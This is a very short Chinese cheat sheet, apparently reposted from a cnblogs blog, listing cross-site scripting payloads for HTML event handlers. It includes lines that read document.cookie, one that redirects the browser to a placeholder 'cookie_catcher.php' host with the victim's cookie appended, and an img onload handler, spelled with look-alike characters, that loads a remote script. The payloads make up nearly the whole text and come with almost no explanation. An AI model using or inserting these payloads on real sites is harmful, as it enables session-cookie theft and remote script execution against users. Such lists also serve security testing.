xsspayload

元素on事件：

prompt(document.cookie)

document.location= "http://www.example.com/cookie_catcher.php?c=" + document.cookie

console.log(document.cookie)

alert(document.cookie)

 

<img src="xxx" οnlοad="$.getScript`https://www.xxx.com/test.js`" whdth="50">

转载于:https://www.cnblogs.com/huim/p/10077393.html